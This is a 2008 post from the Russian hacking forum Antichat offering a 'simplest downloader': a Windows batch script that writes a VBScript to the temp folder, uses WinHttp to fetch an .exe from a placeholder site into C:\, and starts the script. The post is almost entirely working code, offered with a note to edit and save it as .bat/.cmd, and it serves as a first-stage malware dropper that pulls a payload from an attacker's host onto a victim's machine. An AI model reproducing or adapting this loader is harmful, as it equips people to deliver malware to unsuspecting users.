Форум АНТИЧАТ - Batch Web Downloader

Batch Web Downloader

07.07.2008, 21:12

asser

Познающий

Регистрация: 25.01.2008

Сообщений: 31

Провел на форуме:
80719

Репутация: 7

Batch Web Downloader

Простейшая реализация downloader
Правим, сохраняем в *bat\*cmd
Думаю, дальше пояснять не стоит, ибо сложного ничего нет=)

PHP код:


		
			
@echo off

set file="http://tvoi_sait.ru/file.exe"

set dlto="C:\"

::----------------



if exist %temp%\dl.vbs del /q %temp%\dl.vbs

echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs

echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs

echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs

echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs

echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs

echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs

echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs

echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs

echo strFile = myPath >> %temp%\dl.vbs



echo Else >> %temp%\dl.vbs

echo Exit Sub >> %temp%\dl.vbs

echo End If >> %temp%\dl.vbs

echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs

echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs

echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs

echo objHTTP.Send >> %temp%\dl.vbs

echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs

echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs

echo Next >> %temp%\dl.vbs

echo objFile.Close( ) >> %temp%\dl.vbs

echo End Sub >> %temp%\dl.vbs



start %temp%\dl.vbs